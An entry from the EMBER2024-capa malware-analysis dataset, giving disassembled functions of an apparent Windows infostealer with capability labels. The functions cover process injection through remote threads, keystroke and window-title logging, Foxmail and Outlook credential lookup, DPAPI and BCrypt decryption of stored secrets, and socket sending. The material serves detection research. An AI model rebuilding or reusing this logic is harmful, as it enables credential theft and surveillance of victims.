joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407806
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
push 0x1c
mov dword [ebp - 4], ecx
call fcn.00401085
mov ebx, dword [ebp + 0xc]
mov edx, eax
pop ecx
push 7
pop ecx
xor eax, eax
mov dword [ebp - 8], edx
mov edi, edx
lea esi, [ebx + 8]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx + 4]
mov dword [edx + 0xc], ecx
lea ecx, [edx + 0x10]
push esi
call fcn.00403549
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
push 0x208
mov dword [ecx + 4], eax
mov eax, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebx + 4]
mov dword [ecx + 0x18], eax
call fcn.00401085
pop ecx
push esi
lea ecx, [ebp + 8]
mov edi, eax
call fcn.0040373f
push esi
lea ecx, [ebp + 0xc]
call fcn.0040373f
lea ecx, [ebp + 8]
call fcn.00403373
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 0xc]
push edi
call fcn.0040102c
mov ecx, dword [ebp + 0xc]
add esp, 0xc
call fcn.00405feb
mov ecx, dword [ebp + 8]
call fcn.00405feb
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], esi
mov dword [esi + 0x14], edi
mov eax, dword [ebx + 4]
mov ebx, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea ecx, [ebx + 0x10]
call fcn.0041178e
lea eax, [ebp - 0xc]
push eax
xor eax, eax
push eax
push esi
push 0x407501
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0xc
mov dword [ebp - 0x18], eax
mov edi, esp
lea esi, [ebp - 0x18]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401edd
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x407a8e
Capabilities:
Allocate or change rwx memory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
xor ebx, ebx
lea ecx, [ebp - 4]
push edi
mov dword [ebp - 4], ebx
call fcn.00410cff
push 0x40
push 0x1000
push 0xff
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x14
push str.System32cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
push eax
call fcn.0040102c
push 0x44
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.00401052
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
add esp, 0x18
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x407b21
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
jmp 0x407b29
mov ecx, dword [ebp - 4]
call fcn.00410cd8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407d5e
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp byte [0x426754], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x14], ecx
jne 0x407d82
call fcn.0040fb98
test eax, eax
setne byte [0x426754]
push dword [ebp + 8]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x407da0
or eax, 0xffffffff
jmp 0x407e63
push edi
push 0x40
push 0x3000
push 0x100000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x407e5f
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0x33370000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x407e5f
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.XXXXXX
call fcn.00401133
pop ecx
push eax
push str.XXXXXX
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x407e5b
push str.XXXXXX
call fcn.00401133
pop ecx
cmp dword [ebp - 4], eax
jne 0x407e5b
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x14]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x407e5b
cmp dword [ebp - 8], ebx
jne 0x407e5b
xor eax, eax
push eax
push eax
push eax
push edi
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x407e62
push 0xfffffffffffffffd
jmp 0x407e61
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4085cb
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
mov dword [ebp - 0xc], ecx
lea eax, [ebp - 0x214]
push ebx
push eax
call fcn.00401052
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x104
lea ecx, [ebp - 0x214]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jle 0x408652
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
call fcn.004036f7
push 0x417a68
lea ecx, [ebp - 4]
mov esi, eax
call fcn.0040357c
mov edi, eax
push esi
mov ecx, edi
call fcn.00403447
push 0x417a6c
mov ecx, edi
call fcn.0040357c
mov ecx, dword [ebp - 8]
call fcn.00405feb
mov dword [ebp - 8], ebx
jmp 0x40865f
push 0x417a70
lea ecx, [ebp - 4]
call fcn.00403411
mov eax, dword [0x42675c]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 0x210
push eax
call edi
test eax, eax
mov eax, dword [0x42675c]
je 0x4086b4
add eax, 0x210
lea ecx, [ebp - 8]
push eax
call fcn.004036f7
push eax
lea ecx, [ebp - 4]
call fcn.0040335a
mov ecx, dword [ebp - 8]
mov esi, eax
call fcn.00405feb
mov eax, dword [0x42675c]
mov dword [ebp - 8], ebx
test esi, esi
je 0x4086b4
mov dword [eax + 0xa10], 1
jmp 0x4086ce
push dword [ebp - 4]
add eax, 0x210
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x42675c]
mov dword [eax + 0xa10], ebx
push ebx
push 0x80
push 4
push ebx
push 1
push 4
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [0x42675c]
cmp dword [ecx + 0xa10], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ecx + 4], eax
jne 0x40875e
push 0
lea eax, [ecx + 8]
mov esi, 0x417a60
push eax
push esi
call edi
push eax
mov eax, dword [0x42675c]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x42675c]
lea ecx, [ebp - 4]
mov esi, dword [ebp - 4]
add eax, 8
push 0
push eax
call fcn.00403373
add eax, eax
push eax
mov eax, dword [0x42675c]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x42675c]
mov esi, 0x417a60
push 0
add eax, 8
push eax
push esi
call edi
push eax
mov eax, dword [0x42675c]
push esi
push dword [eax + 4]
call ebx
mov ecx, dword [0x42675c]
mov esi, dword [ebp - 0xc]
lea eax, [ecx + 8]
push 0
push eax
push esi
call edi
add eax, eax
push eax
mov eax, dword [0x42675c]
push esi
push dword [eax + 4]
call ebx
mov eax, dword [0x42675c]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
call fcn.00405feb
pop edi
pop esi
pop ebx
leave
ret
Function at 0x408b2d
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push esi
push edi
push pe_nt_image_headers32
push 0
push eax
mov bl, cl
call fcn.00401052
add esp, 0xc
movzx esi, bl
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edi, eax
cmp esi, 0x5c
ja 0x408b9c
cmp esi, 0x5b
jae 0x408be1
cmp esi, 0x14
ja 0x408b8b
je 0x408be1
cmp esi, 8
jb 0x408be7
cmp esi, 9
jbe 0x408be1
cmp esi, 0xd
je 0x408be1
cmp esi, 0xf
jbe 0x408be7
cmp esi, 0x12
jbe 0x408be1
jmp 0x408be7
cmp esi, 0x20
jb 0x408be7
cmp esi, 0x28
jbe 0x408be1
cmp esi, 0x2e
je 0x408be1
jmp 0x408be7
cmp esi, 0xb3
ja 0x408bc6
cmp esi, 0xb2
jae 0x408be1
cmp esi, 0x60
jb 0x408be7
cmp esi, 0x69
jbe 0x408be1
cmp esi, 0xac
jbe 0x408be7
cmp esi, 0xaf
jmp 0x408b87
cmp esi, 0xba
jb 0x408be7
cmp esi, 0xc0
jbe 0x408be1
lea eax, [esi - 0xdb]
cmp eax, 3
ja 0x408be7
or edi, 0x100
push esi
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 1
mov byte [ebp - 1], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 1]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
lea eax, [ebp - 0x104]
pop ebx
leave
ret

Function at 0x408c13
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
push ebx
push esi
push edi
mov ebx, ecx
movzx esi, dl
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp esi, 0x5c
ja 0x408cbb
cmp esi, 0x5b
jae 0x408d0a
cmp esi, 0x14
ja 0x408caa
je 0x408d0a
cmp esi, 8
jb 0x408c6e
cmp esi, 9
jbe 0x408d0a
cmp esi, 0xd
je 0x408d0a
cmp esi, 0xf
jbe 0x408c6e
cmp esi, 0x12
jbe 0x408d0a
push pe_nt_image_headers32
xor edi, edi
lea eax, [ebp - 0x100]
push edi
push eax
call fcn.00401052
add esp, 0xc
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push edi
push 1
lea ecx, [ebx + 8]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push eax
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
cmp esi, 0x20
jb 0x408c6e
cmp esi, 0x28
jbe 0x408d0a
cmp esi, 0x2e
je 0x408d0a
jmp 0x408c6e
cmp esi, 0xb3
ja 0x408ce5
cmp esi, 0xb2
jae 0x408d0a
cmp esi, 0x60
jb 0x408c6e
cmp esi, 0x69
jbe 0x408d0a
cmp esi, 0xac
jbe 0x408c6e
cmp esi, 0xaf
jmp 0x408c68
cmp esi, 0xba
jb 0x408c6e
cmp esi, 0xc0
jbe 0x408d0a
cmp esi, 0xda
jbe 0x408c6e
cmp dl, 0xde
ja 0x408c6e
mov dword [ebx + 4], esi
jmp 0x408ca3
Function at 0x4094ff
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.softwareAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x409556
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov edi, 0x426868
push edi
push 0
push 0
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x409556
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov al, 1
jmp 0x409558
xor al, al
pop edi
leave
ret

Function at 0x40955b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x426760
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x418f18
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x409613
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x409601
cmp byte [ebp - 0x220], 0x2e
je 0x409601
lea eax, [ebp - 0x220]
push eax
push 0x426760
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.00409244
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4095b8
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40983d
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.004011c0
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.00401052
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x418a60
push closesocket
call edi
test eax, eax
jne 0x4098a1
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x4098f7
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x4098be
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x4098f7
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x4098db
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x4098f7
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push closesocket
call edi
test eax, eax
jne 0x4099f8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x4099f8
cmp dword [ebp - 0xc], ebx
jbe 0x4099f3
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4099f8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x4176a4
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push closesocket
call edi
test eax, eax
jne 0x4099f8
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.004099ff
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push closesocket
call edi
test eax, eax
jne 0x4099f8
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x409931
xor eax, eax
inc eax
jmp 0x4099fa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409d97
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.004011c0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
lea eax, [edi - 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov edx, eax
inc esi
cmp edi, esi
jle 0x409dd3
mov ecx, dword [ebp - 4]
mov al, byte [esi + ecx]
mov byte [edx + esi - 1], al
inc esi
cmp esi, edi
jl 0x409dc7
lea eax, [edi - 1]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x409e1c
test edi, edi
jle 0x409e13
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2014]
movzx eax, byte [edx + esi]
add esi, 2
mov word [ecx], ax
lea ecx, [ecx + 2]
cmp esi, edi
jl 0x409e02
lea eax, [ebp - 0x2014]
push eax
jmp 0x409e21
push str.Could_not_decrypt
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a8c3
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.004011c0
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, 0x1fa0
mov edi, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 4]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push esi
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [edi + 0x70]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 1]
call fcn.00405ffa
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0xc]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40b87d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.00401052
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b910
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40b912
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c261
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], ecx
push eax
push dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], edx
push ecx
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov edi, eax
test edi, edi
je 0x40c2c6
mov ecx, dword [ebp - 8]
mov esi, dword [ebp + 0x20]
push ecx
push 0x40
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x40c2bd
push dword [esi]
push dword [ebp - 4]
push eax
call fcn.0040102c
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x40c30d
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
mov eax, edx
mov dword [ebp - 4], eax
cmp dword [0x42696c], esi
je 0x40c333
push dword [ebp + 8]
call fcn.0040c3b9
pop ecx
mov esi, eax
jmp 0x40c3b4
push edi
push esi
push esi
push 3
push esi
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x40c3b3
cmp edi, 0xffffffff
je 0x40c3b3
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40c3ac
cmp dword [ebp - 0xc], esi
jne 0x40c3ac
mov eax, dword [ebp - 0x10]
push ebx
mov ebx, dword [ebp + 8]
push eax
push 0x40
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x40c3ab
push esi
lea ecx, [ebp - 8]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40c3a0
mov eax, dword [ebx]
cmp eax, dword [ebp - 8]
jne 0x40c3a0
xor esi, esi
inc esi
jmp 0x40c3ab
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x40c3b9
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
push ebx
push esi
push 1
mov edi, edx
mov dword [ebx], esi
push esi
push eax
mov dword [edi], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x40c412
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x40c412
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x40c412
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40c6bd
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov edi, edx
mov word [ebp - 8], 0x3176
mov byte [ebp - 6], 0x30
mov esi, ecx
cmp edi, 3
jb 0x40c7b0
push 3
lea eax, [ebp - 8]
push eax
push esi
call fcn.00401000
add esp, 0xc
test eax, eax
jne 0x40c7b0
cmp dword [ebp + 8], eax
je 0x40c803
cmp dword [ebp + 0xc], eax
je 0x40c803
push 0x40
pop ebx
push ebx
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.00401052
lea eax, [esi + 3]
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], eax
add esp, 0xc
lea eax, [edi - 0x10]
mov dword [ebp - 0x50], 1
add eax, esi
mov dword [ebp - 0x48], 0xc
mov dword [ebp - 0x3c], eax
lea eax, [edi - 0x1f]
push eax
push ebx
mov dword [ebp - 0x38], 0x10
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40c803
xor ebx, ebx
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x54]
push edi
push ebx
push ebx
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x48]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x40c7a9
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.00401085
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
inc ecx
push ecx
push ebx
push esi
call fcn.00401052
add esp, 0xc
push dword [ebp - 0xc]
push edi
push esi
call fcn.0040102c
add esp, 0xc
push edi
jmp 0x40c7fb
mov eax, 0x418fe6
jmp 0x40c803
push ecx
lea eax, [ebp - 0xc]
mov edx, edi
push eax
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
sub esp, 0x14
call fcn.0040c1dd
add esp, 0x20
test eax, eax
je 0x40c803
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.00401085
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
inc ecx
push ecx
push 0
push esi
call fcn.00401052
add esp, 0xc
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
call fcn.0040102c
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cf1b
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov esi, ecx
mov edi, edx
push 8
pop ecx
call fcn.00406045
xor ecx, ecx
push ecx
push ecx
push eax
push 0x40c808
push ecx
push ecx
mov dword [eax], esi
mov dword [eax + 4], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
ret

Function at 0x40d14d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], ecx
je 0x40d183
mov esi, dword [ebp + 8]
push 0
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40d183
mov ecx, dword [ebp - 4]
sub esi, eax
jne 0x40d161
mov al, 1
jmp 0x40d185
xor al, al
pop esi
pop ebx
leave
ret